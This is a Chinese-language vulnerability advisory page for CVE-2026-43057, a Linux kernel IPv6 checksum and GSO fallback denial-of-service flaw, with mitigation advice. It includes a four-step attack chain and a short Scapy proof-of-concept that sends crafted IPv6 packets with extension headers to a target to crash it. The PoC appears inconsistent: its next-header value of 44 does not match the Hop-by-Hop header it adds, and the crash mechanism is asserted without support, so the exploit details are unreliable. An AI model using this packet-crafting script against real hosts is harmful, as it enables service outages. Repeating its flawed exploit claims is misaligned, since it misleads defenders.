IPBUF安全漏洞报告
English
CVE-2026-43057 CVSS 7.5 高危

CVE-2026-43057 Linux内核IPv6校验和GSO回退拒绝服务漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43057
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务IPv6网络协议栈GSODoS

漏洞概述

Linux内核网络子系统中存在一个拒绝服务漏洞。在处理带有IPv6扩展头或特定隧道协议(如SCTP over UDP)的流量时,IPV6_CSUM的GSO回退机制未能正确检查内层头长度,导致内核处理逻辑错误,攻击者可利用此漏洞造成系统崩溃或服务中断。

技术细节

该漏洞源于Linux内核对IPv6校验和卸载及GSO(通用分段卸载)回退逻辑的处理缺陷。NETIF_F_IPV6_CSUM特性仅支持不带IPv6扩展头的数据包进行校验和卸载,带有扩展头的数据包必须回退到软件校验和。由于TSO依赖于校验和卸载,这些数据包必须回退到GSO。漏洞在于,当引入该回退机制时,代码总是检查网络头长度。对于隧道数据包,逻辑上应当检查内层头长度,但原有实现未能区分,导致长度计算错误。此外,对于如RFC 6951定义的UDP封装SCTP这类没有内层IP协议的特殊隧道流量,也未正确回退到软件GSO路径。攻击者可利用此逻辑漏洞发送特制数据包,触发内核异常,导致系统崩溃或拒绝服务。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别目标系统使用的是存在漏洞的Linux内核版本,并确认其网络接口启用了IPv6及相关的校验和卸载功能。
STEP 2
步骤2:构造数据包
攻击者利用Scapy等工具构造特制的IPv6数据包,该数据包包含IPv6扩展头或利用特定的隧道封装(如SCTP in UDP),旨在触发错误的GSO回退逻辑。
STEP 3
步骤3:发送数据包
攻击者将构造好的恶意数据包发送给目标服务器。由于漏洞无需认证且无需用户交互,数据包一旦到达网络层即可被处理。
STEP 4
步骤4:触发漏洞
内核在处理该数据包时,因错误检查内层头长度导致访问越界或空指针引用,进而触发内核崩溃(Kernel Panic)或系统挂起,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import sys from scapy.all import * # PoC for CVE-2026-43057 # This script attempts to trigger the IPv6 checksum GSO fallback bug # by sending a packet with IPv6 extension headers or specific tunneling. def send_malicious_packet(target_ip): # Construct an IPv6 packet with extension headers to trigger the fallback # Note: Actual payload construction may vary based on specific kernel version pkt = IPv6(dst=target_ip, nh=44) / IPv6ExtHdrHopByHop() / TCP(dport=80, sport=12345) print(f"[*] Sending malicious packet to {target_ip}...") send(pkt) print("[+] Packet sent.") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_malicious_packet(target)

影响范围

Linux Kernel (特定版本及之前版本)

防御指南

临时缓解措施
建议立即更新系统内核以修复该漏洞。在无法立即更新的情况下,可以通过防火墙规则过滤包含IPv6扩展头或特定隧道协议的数据包,或者在网卡驱动层面关闭TSO/GSO卸载功能以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表